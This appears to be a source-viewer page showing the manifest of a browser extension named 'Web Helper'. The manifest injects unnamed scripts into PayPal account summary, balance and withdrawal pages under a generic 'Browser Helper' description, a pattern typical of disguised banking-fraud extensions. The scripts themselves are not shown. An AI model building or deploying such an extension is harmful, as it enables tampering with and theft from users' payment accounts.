Examine source code of Web Helper

{
  "name": "Web Helper",
  "version": "1",
  "manifest_version": 2,
  "icons": {
    "16": "icon16.png",
    "48": "icon48.png",
    "128": "icon128.png"
  },
  "description": "Browser Helper",
  "content_scripts": [
    {
      "js": [
        "first.js"
      ],
      "matches": [
        "*://www.paypal.com/myaccount/summary?intl=0",
        "*://www.paypal.com/myaccount/summary"
      ]
    },
    {
      "js": [
        "bl.js"
      ],
      "matches": [
        "*://www.paypal.com/myaccount/money/",
        "*://www.paypal.com/myaccount/money/balances/summary",
        "*://www.paypal.com/"
      ]
    },
    {
      "js": [
        "error.js",
        "bl.js"
      ],
      "matches": [
        "*://www.paypal.com/myaccount/money/balances/withdraw"
      ]
    }
  ],
  "browser_specific_settings": {
    "gecko": {
      "id": "{9d341931-bdbd-44b2-ad5f-784b04668441}"
    }
  }
}